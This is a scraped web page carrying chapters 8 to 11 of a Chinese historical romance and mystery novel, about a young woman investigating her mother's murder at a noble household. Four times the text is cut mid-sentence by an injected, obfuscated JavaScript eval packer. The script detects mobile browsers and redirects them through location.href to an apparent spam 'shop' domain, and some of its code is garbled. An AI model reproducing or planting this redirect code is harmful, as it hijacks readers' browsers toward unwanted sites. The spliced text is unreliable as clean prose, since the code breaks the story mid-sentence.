l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019231|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小侯爷见谅,小女不是故意的。”今穗连忙道歉。 江锦初气鼓鼓的,单方面决定和裴樾绝交一会,让他追悔莫及。 而裴樾皱眉回忆着什么,对今穗投去了探究的目光。 今穗倒是不遮不掩,大大方方地将自己的面纱取下:“我们确实见过。” “裴……樾?”今穗忽然想起了被自己遗忘在角落里的那张字条,试探着喊了一声。 裴樾吩咐游默留意了许久都没等到她来,如今竟是踏破铁鞋无觅处,他停顿了一下再次轻声回应:“嗯。” 江锦初见情况不对,这俩人好像认识。 “多谢姑娘搭救,不知姑娘是否有用得上我的地方,裴某愿尽己所能报答姑娘的救命之恩。” 听裴樾这么说,今穗似乎真的郑重其事地思考起来。 江锦初一脸看热闹不嫌事大,刚刚的委屈一扫而光,颇具调侃意味地说道:“这可是救命之恩啊,世子得以身相许才能相报呀。” 裴樾飞去一记眼刀,江锦初瞬间就老实了。 今穗见状轻轻一笑:“小女确有一事相求。” “哦?” “京中人人皆知长宁郡主嗜甜如命,可是前些日子国公府却命四司六局准备郡主的生辰宴时撤去甜食,不知是何缘由,世子可否告知一二。”今穗说话间不疾不徐。 “家妹龋齿严重且年幼任性,即使是生辰宴也不便再出现任何甜食了。”裴樾如实相告。 “多谢世子。” 说完今穗便没有再说什么,裴樾心下疑惑:“就为这事?” 今穗点头:“就为这事。” 裴樾越发觉得迷惑,他欠了一个姑娘救命的恩情,而这个姑娘却只是问了一个无关紧要的问题。他本来就很少与女子打交道,这下他更是摸不透了。 他皱着眉准备再问问这位不按套路出牌的救命恩人,或是寻常的金银珠宝,或是许下一个承诺,总要实实在在地为她做些什么他才能安心。 几人都没意识到他们已在这门口逗留太久了,侍女正带着下一位看诊之人过来。 孟织筠远远看见郡主的房门前正站着几个人说话,其中好像还有一个她非常熟悉的人。 都到了这儿,她也没法说走就走,索性硬着头皮过去。 江锦初猛然间看见日思夜想之人,不敢置信地揉了揉眼睛,确认这不是自己狂热思念阿筠的幻觉后,完全顾不上看热闹,不管不顾地跑过去,张开双臂将他的阿筠紧紧圈在怀里。 孟织筠有些不习惯在这么多人面前做出这般亲密的举动,不自觉推了推他。 她十分难为情:“你先松开,还有这么多人呢。” “我不!”江锦初回答得坚决又干脆。 孟织筠没办法,好在这时裴樾和今穗都走了过来。 “咳。”裴樾稍微出声提醒。 “侠女姐姐。”今穗甜甜喊道。 见他们都过来了,孟织筠更加不好意思:“叫我织筠就好。” “织筠姐姐。”今穗这一声喊得极甜,甚至引起了江锦初的不满。 他终于松开了脸颊已经红透了的孟织筠,对着今穗义正言辞道:“只有我可以喊姐姐,就算你是裴樾的救命恩人也不许喊。” 8. 雨夜混沌 孟织筠觉得很是丢脸,恨不得找个地缝钻进去。 “不对,她刚刚为什么喊你侠女,你们认识?”江锦初终于反应过来,“难不成阿筠你在外面英雄救美,给我招了情敌?不过没事,以小爷我的魅力定会让那情敌知难而退。” 见江锦初开始胡思乱想起来,孟织筠只好耐心地和他解释,解释完了又想着去给郡主诊脉。 今穗此行已达成了自己的目的,和几人告辞离开,裴樾见今穗准备走了,下意识地想挽留她,但又不知道如何开口,就心事重重地进屋看望裴楹,唯独江锦初还留在门外陪着孟织筠。 她和其他人一样,规规矩矩地站在屏风之外悬丝诊脉。 虽然江锦初不理解自己的阿筠为什么要像其他的普通百姓一样通过这种方式来为郡主看诊,明明跟他说一声这国公府还不是说来就来,但是经过了这几次他也大概明白,这或许就是阿筠一直不愿意嫁给他的原因。 就在孟织筠第一次逃婚的时候,江锦初发了疯一样地找她,最终在雨后土地泥泞的山间,他找到了自己心爱的姑娘。 那时的孟织筠完全看不出娇生惯养的大小姐模样,更看不出她即将要嫁作人妇成为人人艳羡的侯府少夫人。 她背着一个有她半人高的大背篓,背篓里装着她从山间采到的草药,压得她腰都弯了几分。泥路湿滑,她不慎摔倒在地,膝盖磕在路边的石头上,渗出鲜红的血迹,很快将衣裳染红。 孟织筠疼得几乎走不了路,这里前不着村后不着店,她只好先在路边坐下,撩起衣服准备查看伤口。 忽然间,一片阴影覆盖她的头顶。 她疑惑抬头。 猝不及防对上了一双她已经看了十几年的眼睛,只不过这双眼睛过去看着她时总是饱含爱意的,而现在,复杂难言。 江锦初的眼神里有愤怒有不解,但是这些都在看到她的那一刻被一种名为心疼的情绪彻彻底底地占据。 他无法控制自己不去关心她,不去呵护她,不去喜欢她。 孟织筠有些不敢与他对视,毕竟自己刚逃婚,此时此刻好像个抛夫弃子的负心汉。 江锦初一直沉默着,他看见孟织筠渗血的膝盖,更是心疼得无以复加。 两个人什么话都没说,她没有解释什么,他也没有问什么,最后江锦初沉默着将孟织筠背在背上,二人一同下了山。 山脚处有一间简陋的茅草屋,这是孟织筠上山采药时的临时落脚点,有时采完药下山天色已晚,她会在这儿住上一晚。 江锦初背着孟织筠进入茅草屋歇息。 茅草屋内摆设相对简单,但都是孟织筠亲手布置的,他把她小心翼翼地放下,让她安安稳稳地坐在凳子上。 他还是什么话都没说,替她忙前忙后,擦拭血迹,上药止血,烧热水,找干净的衣裳,帮她倒水沐浴。 孟织筠也早已习惯了被他这么照顾,倒是心安理得地享受,几乎忘了自己昨日才犯下的罪恶行径。 江锦初一个衣来伸手饭来张口的大少爷伺候人伺候了半天,身上都出了汗,他索性将身上的衣物脱掉用刚烧的热水擦拭了一下身子。 孟织筠已然换上干爽的衣物舒舒服服地躺在床上,光着上半身的江锦初到床边的衣橱找有没有他能换的衣服,还好没有找到,要是找到了他肯定更不开心了。 他光着膀子到床边坐下,被窝里的孟织筠直勾勾地看着他暴露在外的优越身材,忍不住从被子里悄悄伸出一根手指戳了戳他精瘦的腰腹。 江锦初一把抓住她干坏事的小手,两个人的眼神瞬间对上,似乎有什么东西在空气中悄悄酝酿。 外面又下起了雨,突如其来的雷声惊得孟织筠哆嗦了一下,她小声问道:“你还气吗?” 男人没有回她的话,只是把她的手放回了被子里,见状孟织筠以为他还在气头上,不禁有些失落,准备说些软话哄他。 就在这时,她身上的被子突然被掀开,一道炙热而浓烈的吻与屋外的雷声一同落下。 那一刻,她几乎感觉自己的心要跳出胸膛。 这个吻与他平时的风格截然不同,二人唇齿间厮磨了许久,孟织筠被亲得气喘吁吁的,两颊都红艳得要命。 江锦初故意咬了一口她的下唇,接着凑近她的耳边咬牙切齿道:“气!” 孟织筠晕晕乎乎还没反应过来他说的是什么,意识就陷入了混沌之中。 她只记得,夏日暴雨的夜晚,火热,滚烫。 “就当是补偿昨晚的新婚夜吧。” “虽然你早已是我的人了。” “阿筠现在可以说说昨日为什么要逃婚吗?” “阿筠不要再让我伤心了好不好。” “阿筠我真的好离不开你。” …… 江锦初对着孟织筠说了很多很多,仿佛是要把先前没说的话都补回来,可是孟织筠很难回答他,因为此刻她说出的话就像是屋外的雨,断断续续,词不成句。 第二日醒来,昨夜没弄清楚的事情,江锦初还是忍不住问她,孟织筠想了许久才回答他。 她说,她想随心所欲地去做自己喜欢的事情,一件与孟家,与江锦初都毫无瓜葛的事。 若是就这么嫁人了,她做任何事都得时刻谨记:她先是侯府少夫人,再是孟家的女儿,最后才是她自己。 他将她揽在怀里,二人和好如初。 …… 孟织筠悬丝诊脉结束,心里逐渐有了论断。来之前,她翻了许多记录着龋齿治疗方法的医书古籍,现下诊脉过后,她已经有了对策。 她没有凭借着江锦初的关系去更近地查看郡主的病情,而是和其他人一样去写下她的诊断结果和对策。 结束之后,乖乖等了她许久的江锦初迫不及待地过来牵她的手,二人并肩离开。 等所有的人都诊脉完毕离开国公府后,丫鬟将所有的宣纸都整理到一起交给余太医。 余太医一刻也不停地开始翻阅,他仔细看了许久,最终选出了两张在他看来较为有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019232|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用的治疗方法。 一张正是乔逊所写,他没有写什么有着奇效的偏门药方,只是提出可以用激进一些的方式去治牙,即拔牙,这个法子风险极高,稍有不慎便会导致疼痛、出血甚至是死亡,因此余太医虽知道这个法子但从未提过,只怕是他敢说要给郡主拔牙,自己的小命都不保了。 另一张是孟织筠所写,是她从古书典籍里翻到的法子,她写得很是详细,从一开始的治疗到之后的牙齿维护都有涉及。她的法子是以药物充填治疗龋齿,即使用榆皮、白芷、美桂敷在龋洞处将其充填起来。这个法子倒是稀奇,且白芷有治疗口齿气臭和风热牙痛的作用,看起来能起到一定的作用。① 若是有人试过这个法子没有其他风险的话,倒是可以让郡主试上一试。 除此之外,其他人写的几乎没什么作用。 余太医将自己看到的结果告诉长公主。 昭华听了之后没什么特别的反应,这样的结果也算是预料之中。倒是那位孟家姑娘给了她很大的惊喜,若不是孟织筠与江锦初早有婚约,她都想将孟家姑娘与自家儿子说合说合。 乔家医馆。 今穗和乔逊父女二人很快回到医馆后,就交流着今日的所见所闻。 “爹,女儿打听到国公府撤去蜜煎局的原因了,长宁郡主龋齿严重此举乃是不得已。” “据我诊断,这郡主的龋齿确实已病入内里,难以根治,御医开的方子无非是一些温和的止痛汤药,他们不敢用激进的法子。”乔逊思索着,继续说道,“虽说严重,但也不是药石无医,只不过需承担些风险。” 今穗听了这番话,沉思了许久,后试探着开口:“若是能有一种蜜煎既能满足郡主吃甜食的喜好,又能对龋齿的治疗有所助益……” “哪有这般两全其美之事。”乔逊摇头。 “或许……可以试着将药材融入到蜜饯的制作当中。”今穗进一步做假设。 今穗学了这么多天的蜜饯,也算是有了点心得,当时看见国公府贴出的布告她就在猜测,生辰宴甜食被撤一事是不是因为郡主的龋齿,果然,今日之行她的猜测得到了证实。 若是想在此次生辰宴上一举出头,她必得想办法扭转蜜煎局当下的局面。 “将药材融入饮食做成药膳倒是常见,做成蜜饯我却从未见过”乔逊思索着今穗刚刚说的,“况且药草大多味苦,与蜜饯的甜味背道而驰,这二者如何相融?” 今穗明白自己的这个想法实施起来并不容易,或许在有些人看来就是异想天开,但是她总归要尽力一试。 “爹,帮女儿找几个常见的治疗龋齿的方子,女儿这几日到蜜煎局去试一试。” 乔逊虽然觉得不太可能成功,但还是选择支持今穗,他回忆了一下今日的诊脉情况,又去翻了几本医书,最后给今穗写了几个对长宁郡主的龋齿症状相对来说较为有效的方子。 今穗也没闲着,她去找了一些压箱底的医书,看看能不能对自己的这个想法有所帮助或启发。 9. 秦楼楚馆 第二日去蜜煎局当差时,今穗就决定将自己的这个想法付诸实践。 今日到的晚了一些,刚到蜜煎局就见大家似乎在议论什么事情。 “师父,是发生了什么事情吗?”今穗疑惑地问云从。 云从正闭着眼睛靠在墙角补觉,被今穗这么一喊,一激灵困意全都消散了,他揉了揉眼睛,迷糊答道:“可能是在议论昨日国公府为郡主悬丝诊脉一事吧,今日一早长公主带着黄金百两亲自等孟家的门去道谢。” “孟家?”突然听到有关孟家的消息,今穗心下一惊。 “是啊,孟老夫人的幺女孟织筠找到了能治疗郡主龋齿的方法,长公主才登门道谢的。” 云从短短几句话给今穗带来了巨大的信息量,她脑子里有些乱,努力在脑子里捋清思绪。 昨日所遇“侠女”乃是孟家幺女孟织筠? 孟家对今穗来说是一个说不清道不明的存在,因为她的母亲洛绾君是在孟老夫人寿宴上遇害的,这就意味着母亲的死多半与孟家人脱不了关系,甚至凶手就藏在孟家,一直在逍遥法外。 她的眼神几乎一瞬间就变得狠厉。 云从很明显被今穗的眼神吓到了:“我……我说错什么话了吗,你怎么这么看着我。” 今穗回过神来,准备跟他解释,结果蜜煎局内其他的人都在这时凑上来:“你怎么知道是孟织筠找到了治疗郡主龋齿的方法。” 大家都疑惑地看着云从,因为今日大家议论的确实是长公主亲自登孟家的门道谢一事,但并不知道是孟织筠的缘故,因此大家都很好奇云从是从哪里得知的这个消息。 云从被大家这么一问,突然间意识到了什么,一瞬间变得慌乱无比:“额……我是、我是来的路上偶然听到的,对,偶然间听到的。” 虽然云从的解释很是可疑,但是大家也没兴趣继续追问了。 倒是今穗还在消化侠女姐姐是孟家人这件事。 大家陆续开始干活,她暂时将心思收回,着手研究如何将药材融入到蜜饯的制作当中。 她仔细看了乔逊写给她的几个方子,第一个方子名为定痛饮,是由倒垂柳树白皮、细辛、苦参、水豆腐这几味药材组成的,将这些药材做成药汁,通过含漱的方式,可消肿止痛。① 第二个方子与前一个大同小异,只不过变了几味药材,还是通过含漱止痛。 倒是第三个方子很是不同,是选用川椒和烧石灰,将它们磨成粉末,用蜜糖制成药丸,然后塞进蛀牙的洞里。② 这个方子似乎与蜜饯有一些相通之处,还用了蜜糖这一成分,但应当只是为了方便将其制成药丸,否则蜜糖过量将导致龋齿更加严重。 今穗想着,她现在的目标不是研究出可以彻底根治龋齿的药方,而是想办法让郡主既可以吃到蜜饯又不会加重她的病情。 因此,她只需对这个方子做一些改良…… “磨成粉末……”今穗口中念念有词,她忽然想起先前做的荔枝膏水也有一个磨粉的步骤,那时是将乌梅和肉桂磨粉再放入锅中熬煮。 今穗一下子就有了思路,可以先从简单的入手,将其中磨粉之物直接换成川椒和烧石灰,但这样最终的口感会不会差了一些,她想了想,荔枝膏水之所以用乌梅和肉桂作食材,是想模仿荔枝的味道,可以先将相对而言更甜的肉桂去掉,加入川椒和烧石灰,再按照正常的步骤进行制作,之后要用到的白糖和蜂蜜等都得斟酌用量。 经过一番熬煮,今穗制成了改良版的“荔枝膏水”,只不过这其中已完全没了荔枝的味道,且因为减少了白糖和蜂蜜的用量,这个膏水也不够浓稠,尝起来只是个味道普普通通的甜水而已。 今穗仔细尝了几口后不禁皱眉,看来这个半成品还有许多需要改进的地方。 改进当然还是要从食材的选用入手,川椒和烧石灰肯定是不能变的,其他的该怎么改呢? 她思索了许久都没个头绪,正巧这时云从唤她去隔壁果子局取一些所需的瓜果。 今穗心里都是该换用什么食材这件事,过去的时候很是心不在焉。 却没想到施窈并不在果子局内,只有几个人在果子局内干活。 她上前询问才得知,因为生辰宴撤掉甜食一事,果子局几乎也发挥不了什么作用,因此施窈索性不来了,其他一部分人也偷懒没来,只有几个人还在坚持。 这倒是出乎她的意料,因为她正好有一些事想请教施窈,她就问了一下施窈的家住在哪儿,想着傍晚的时候可以去找她。 可谁知果子局内竟没有一人知道,都茫然摇头,今穗更加心事重重地回了蜜煎局。 云从见她空着手回来,问道:“怎么了?施窈又为难你了。别担心,师父替你出头。” 说着云从就要去果子局理论一番,但今穗只是摇摇头:“她今日不在果子局,师父知道她家住何方吗?我……有些事想找她。” “这你可问对人了。”云从好像突然来了兴趣,颇为自豪地说着,“这四司六局就没有我云从不知道的事。” 之后云从就把施窈的住址告诉了她,一到傍晚,今穗就早早地走了。 她按照云从给的住址出了朱雀门,在东城墙一侧大部分都是民居,往东的大街通往麦秸巷,这个地方与乔家医馆正好处于两个方向,因此她对这里比较陌生。 天色渐晚,巷子里有些昏暗,今穗摸索着往里走,大多数都是房门紧闭,直到快走出了巷子,她忽然看见前面有个人正推开门走出来,她行色匆匆,完全没意识到今穗的存在。 施窈? 这么晚了她要往哪儿去? 今穗一脸疑惑地跟上,她跟着施窈出了巷子,看到了一座状元楼,这条路上基本上都是秦楼楚馆,一直绵延到保康门街。③ 施窈沿着街走了一会儿,到了一家名为“祈陌春坊”的青楼,她轻车熟路地进去了。 一直跟在后面的今穗很是震惊,施窈她……夜晚只身一人来这秦楼楚馆之地干什么? 她也想跟进去一探究竟,但是祈陌春坊门前的守卫见她是个女子就拦着她不许进入。 她只好暂时放弃从正门进去的想法,避开了那两个守卫的视线,绕着祈陌春坊转悠,终于让她发现了一处院墙,看起来不算太高,爬进去应当不难。 今穗儿时就有着非常丰富的爬树经验,现在对付这区区一堵墙基本没什么难度,三下两下就翻了进去。 墙内的落脚点是一座假山后的草丛,正好可以遮住她的身形。 她猫着身子躲在假山后面,正准备找个机会悄摸摸地出去时,就听见外面传来了有人说话的声音。 “爷,咱们祈陌春坊都是敞敞亮亮做生意的,绝对没有您说的地下赌坊啊。”一道娇媚的女声哀求着。 地下赌坊? “搜。”被喊“爷”的这个人好像丝毫不为所动,只是无情地下达命令。 “严妈妈别急,到底有没有一搜便知。” 等等!这个声音听着怎么有点像裴樾? 他在这儿干嘛? 今穗在假山之后蹲了许久,外面的人还是没有要走的迹象,她忍不住换了个姿势,想将双脚松泛松泛,动作间不小心碰到假山发出了一些细微的声响,好在外面没有什么动静,应当没有引起他们的注意。 可是下一秒,裴樾走到了假山与墙之间的缝隙里,将今穗蹲了许久的窘迫一览无余。 “你……”裴樾欲言又止。 今穗因为是翻墙进来的,脸上都沾了些灰,此刻灰头土脸的,又是躲在这样一个地方,不得不令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019233|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人惊讶。 裴樾沉默了一会,他默不作声地回去将还在院中焦急等待的严妈妈支开,才对着缝隙里的今穗沉声道:“出来吧,没人了。” 今穗艰难地从假山后钻出来,揉了揉酸麻的双腿,又走到裴樾的身边。 二人面面相觑,相对无言。 “你……”二人同时开口,又同时停住。 气氛更加尴尬了。 过了会今穗才试着开口:“世子来这儿是在办案吗?” 显然今穗先前听见了他说的话,他回道:“嗯。那你在这儿是……难不成和这个案子有关?” 今穗连忙摆手:“当然不是,我……” 她说着又结结巴巴起来,不知道该怎么解释自己出现在这里的原因。 但是她这般遮遮掩掩的样子,反而更可疑了,今穗只好硬着头皮解释道:“我……我有一个朋友,我今日来这附近寻她,发现她进了祈陌春坊,但是门口的守卫不让我进,所以就翻墙进来了,结果正巧碰上……” 今穗越说越没底气,说到最后声音小得几乎听不见,她的这个解释应该和她莫名奇妙出现在假山后面一样令人匪夷所思。 “那个,我说的都是真的。”今穗试图为自己挽回一下。 “哦?”裴樾说话的语气颇有些玩味。 他的属下不一会儿就搜查完毕,回来向他汇报情况,见他身边突然出现个陌生女子,害怕机密泄露,不敢说话。 “但说无妨。”裴樾看出了他们的顾虑。 今穗突然觉得非常惶恐,此地不宜久留,万一自己听到了什么不得了的秘密,突然间被人杀人灭口了怎么办。 这么想着她就准备找借口离开,但是她慌乱间听见那个属下说:“大人,在后面厢房搜到了密道,可通往一处地下赌坊,里面疑似有孟家的手笔。” 乍一听见他提到了“孟家”,今穗忽然间又改变了主意,暂时没有离开。 “可看出是与孟家哪一房有关。”裴樾严肃问道。 “回大人,属下暂时还查不出来。” “带我过去。”裴樾吩咐。 他立马进入了高度紧张地查案状态,走之前用眼神跟今穗表示告别,然后就在这些人的跟随下往后院厢房走去。 撞见裴樾查案也实属意外,其中还牵扯到了孟家,应当不是一件简单的事。 想到自己还有正事没办,今穗没在后院逗留太久,就想办法不动声色地混进前堂。 正值夜晚,祈陌春坊的大厅内笙歌阵阵,环境嘈杂,人员杂乱,没什么人注意到今穗,她就顺利地混进去了。 祈陌春坊大堂中央有一处宽阔的高台,高台之上正有人在上面表演歌舞,底下的人都目不转睛地盯着看。 今穗也悄悄找了个无人注意到的角落看那高台之上的人。 只见上面有个穿着清凉的舞姬,以红纱蒙面,正随着乐声翩翩起舞。 她看不清这人的长相,倒是觉得她的身形与施窈有几分相似。 难不成施窈白日里做果子局掌事,入夜后就来这祈陌春坊做舞姬? 这反差未免也太大了些,况且今穗从未听说过关于她的这件事,施窈把自己的另外一个身份瞒得也太好了。 今穗对施窈这个人更加好奇了,也更加坚定了她心底的一个想法。 随着乐曲渐近尾声,台上女子一舞即将结束。 众人都在底下起哄着要她摘掉面纱,但是这女子只是施施然朝着众人行了一礼,接着头也不回地离开,任谁挽留都没有回头。 今穗想弄清楚这人究竟是不是施窈,顺着楼梯上了二楼,正好见那女子准备推门进入房间,看见她时眼神不自觉慌乱了几分。 她赶忙追上,对这那女子的背影试探喊道:“施窈?” 10. 寿宴往事 那女子闻言背影僵了一瞬,但并没有停下,反而加快脚步进房间。 今穗三步并两步快速上前,一只脚抵在门缝里,将身子横亘在这舞姬与门之间,堵住了她逃离的路。 二人在门口僵持住,见走廊上人来人往,路过的人似乎在不经意朝她们这儿瞧,以免引起更大的动静,今穗果断伸手揽住舞姬的纤腰,一个旋转将她带进了门里,门“啪”的一声关上,衣着清凉的女子被她重重抵在墙上,动作极其暧昧。 舞姬似是被今穗这一番动作弄得恼羞成怒,用力地挣扎,激烈的动作间她脸上的面纱意外掉落。 果然是施窈。 今穗顺势松开她,施窈也停止了挣扎。 二人大眼瞪小眼。 施窈被四司六局的人发现自己在青楼里做舞姬,一副对自己恨铁不成钢的模样:“你是怎么发现我在这儿的?” 今穗如实相告。 “算我倒霉。”施窈十分懊恼,怎么都想不通自己的青楼舞姬身份为何会暴露。 “你最好是有什么要紧的事,否则……否则我要你好看!”施窈的声音是娇娇软软的那一种,因此这番威胁的话在今穗听来毫无杀伤力。 今穗觉得施窈身上一定藏着什么秘密:“你明面上是果子局的掌事,背地里却来做这青楼舞姬的勾当?” 她故意把话说得这么难听,果不其然激起了施窈的怒气。 “什么叫勾当,我施窈堂堂正正,即使在青楼也行得端坐得直。”施窈一字一句地为自己解释。 “既然如此你又为何要用面纱遮住自己的脸?”今穗追问。 “我、我……”施窈“我”了个半天也说不出个所以然,把自己急得面红耳赤。 无利不起早,她之所以夜里来这秦楼楚馆做舞姬,多半是为财,今穗直接说出了自己的猜测:“你莫不是为了钱才来的?” 见今穗道破了真相,施窈索性破罐子破摔:“就四司六局那点俸禄,怎么够我平日里的吃穿用度,我孤身一人远上京城,没有家人依靠,只能自己想办法多赚点钱。” 今穗听云从提起过,施窈并非东京人,而是从江南来,在这儿待了已有好几年了。 施窈平日里总是打扮精致,穿戴的首饰衣裳看起来都价值不菲,只靠四司六局的俸禄自然是不够的。 听她这么说,今穗没有再步步紧逼,便自顾自走到房间中央的圆桌旁坐下,给自己倒了一杯酒。 这间厢房是施窈在祈陌春坊的临时休息之所,偶尔会接待一些一掷千金的客人,陪他们喝酒聊天。 今穗正端起酒杯想尝尝这青楼里的酒是什么味道,就被施窈制止了:“喂,这可是暖情酒,别怪我没提醒你。” 酒香醉人,听她这么说,今穗也不敢一意孤行,又将酒杯放下。 施窈是这祈陌春坊里小有名气的舞姬,一直以来因为她从不摘下面纱的这份神秘感吸引了很多客人。 严妈妈自然想施窈不仅仅只做个舞姬,想让她彻底成为祈陌春坊的摇钱树,就经常在她的房间里准备暖情酒,她稍有不慎,便会坠入万丈深渊。 施窈也气呼呼地走到桌边坐下,发生了这些事情,她根本不想搭理今穗。 “若只是为财……你大可直接辞了果子局的差事,专心在这祈陌春坊做舞姬,平日里也不必费尽心思遮遮掩掩。”今穗又提出了自己的疑惑之处。 说到这个,施窈忽然泄气,沉默了许久才下定决心将事情和盘托出:“我……我上京城是冲着嫁给达官贵人来的,那时听闻四司六局有机会接触权贵,我就去了,为了让自己看起来漂亮,我只能不停地买昂贵的衣裳首饰,可果子局俸禄微薄,我就到这儿当舞姬,这种事情肯定不能让四司六局的人发现,不然我没脸见人了……你、你不许说出去。” 今穗听施窈这么说很是不理解,平民女子若想嫁给达官贵人无非是为人妾室,她这般苦心经营仅仅是为了荣华富贵吗? “嫁给达官贵人?就为了荣华富贵?”今穗眉头紧蹙。 “当然。”施窈斩钉截铁道。 “我自小家境贫寒,常常受人欺凌,我早就受够了穷苦的生活,幸好老天给了我一张漂亮的脸蛋,我绝不会当一辈子穷人。” 今穗看着这个穿着艳丽舞衣,浓妆艳抹的姑娘,心中五味杂陈:“以色事他人,能得几时好。” 说完,她轻车熟路般到房间的衣橱里取了件外衫轻轻地披在施窈的肩上。 施窈一时间也愣住了,她内心逐渐变得酸涩,有泪水在眼眶里打转,努力忍了许久,她终于说道:“我不需要多久,只要荣华富贵,即使我所嫁之人从不爱我,即使他喜新厌旧将我扫地出门,只要把足够的钱掌握在手里,我一样能够逍遥自在。” 她倒是爱钱爱得纯粹。 今穗不会去反驳或评判她的任何想法,倒是觉得像施窈这般的人,才是心思简单,最好相处。 “既然这样……不如我们合作吧。”今穗终于提及了此行的目的。 “合作?” “很简单,你我互帮互助,共同达成对方的目的。” “你来四司六局果然也有秘密。”施窈一副抓住了今穗把柄的样子。 “当然,不然我来跟你抢荣华富贵吗?”今穗还有心思调侃施窈。 她这么一说差点又激得施窈更加生气,施窈故意撇开头:“你为何要找我合作,姜佩兰既是你的远房亲戚,有些事情找她帮忙也未尝不可,又何必找我这个贪慕虚荣之人。” 有些事情,姜佩兰未必清楚。如今蜜煎局大部分事情都是云从在管着,姜佩兰很多时候都只是偶尔来一次。 就连上次孟老夫人的寿宴,姜佩兰都未曾参与,因此她对洛绾君遇害的内情一无所知,只以为是个意外。 在四司六局待了也有一段时间了,今穗大概摸清了状况,最后选定施窈作为她的突破点。 “兰姨是我母亲的至交好友,我不想让她因为我的计划陷入任何危险的境地,但是你不一样,我们走的路应当是殊途同归的,终归是要与所谓的权贵们正面交锋。”说到这,今穗眼里有着施窈看不清的情绪,此刻的她几乎与初见时判若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019234|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人。 听着她的这番话,施窈心里没由来地发憷,且如今自己的秘密掌握在今穗手里,现下只能姑且信她一回:“合作可以,但是作为盟友要讲究契约精神,决不允许有隐瞒背叛之事。” “当然。”今穗毫不犹豫地应道。 二人没在祈陌春坊的多逗留,怕隔墙有耳,决定换个地方再继续交谈。 施窈带着今穗来到了她的日常居所,是麦秸巷中一间极不起眼的门户。 进了屋,屋内空间很小,平日里只够施窈一人起居,如今来了客人,这间屋子就显得有些窘迫了。 不过施窈把房间打理得很干净整洁,麻雀虽小五脏俱全,一个人住应当会觉得很满足。 今穗坐在软凳上,施窈先给她倒了一杯茶,茶叶被热水冲荡在瓷杯当中,升腾起袅袅热气。 她端起茶杯浅酌了一口茶水,接着缓缓说道:“半年之前,孟家老夫人的寿宴,你可有印象。” 乍一听见今穗提起这件较为久远的事情,施窈皱着眉头仔细回想了一下,最后忽然想到了什么,疑惑问道:“你是说……茶酒司有人意外遇害之事?” 今穗点头。 “我听闻遇害之人名叫洛绾君,她算是茶酒司中容貌最出众的,因此承办宴席之事干的都是接待宾客的活,我当时果子局事务缠身,直到宴席结束我才得知这件事。”施窈仔细回忆当时的情景,“我那时与其他几位掌事过去瞧了一眼,洛绾君的尸身是在孟家的一处偏僻的厢房中发现的,我们赶过去时,她衣不蔽体,厢房里流了一地的血,我与其他几位女掌事赶紧过去用被子盖住了她的身体……” 听到这,今穗几乎要泪流满面,她死死地咬牙忍住自己的眼泪,然后艰难地挤出两个字:“谢谢……” 施窈更加疑惑地看向她。 “洛绾君……是我的母亲。”今穗用尽全身的力气说出这句话后,眼泪夺眶而出。 一时间,施窈都变得不知所措,她没想到这件事情的背后,竟有这么多的隐情和牵连。 她当时亲眼看见那个场景也十分震惊,久久缓不过神来,且人是在孟家没的,孟家最后也没给个解释,细细想来这件事的蹊跷之处太多了。 施窈从未做过安慰人的事,见今穗哭得这般伤心也有些手忙脚乱:“我……你、你还好吗?” 今穗并没有号啕大哭,只是低声啜泣,但她的神情,她的面容,让人感觉极其痛苦绝望。 “抱歉……失态了,麻烦你将当时的事事无巨细地告诉我。”今穗哭声渐止,努力平复自己的情绪。 见她状态稍微好转了一些,施窈才慢慢放下心来,然后重新组织语言,继续叙述当时的情况:“当时寿宴上宾客都走得差不多了,我与其他几位掌事在指挥大家进行对宴会进行收尾,孟府中人员众多,大家都手忙脚乱,很难发现少了个人。” 渐渐地,今穗彻底平静下来,她极为认真地听着施窈叙述,不放过任何一个细节。 这件事当时极为轰动,施窈对此也印象颇深,她一边叙述着一边陷入了回忆当中…… 11. 高门大户 那时,四司六局的人收尾完毕准备离开孟府,茶酒司掌事才发现自己的司里少了个人,就在他到处去找寻洛绾君的踪影时,北边的偏院里传来了不小的动静,孟府的一个小厮连滚带爬地从偏院里跑出来慌张地冲着在场的人说“死人了”,众掌事都脸色大变,连忙赶过去查看情况。 他们赶到偏院的厢房时,孟家三房的三位少爷正满目惊恐地跌坐在地上,浑身颤抖,精神恍惚。 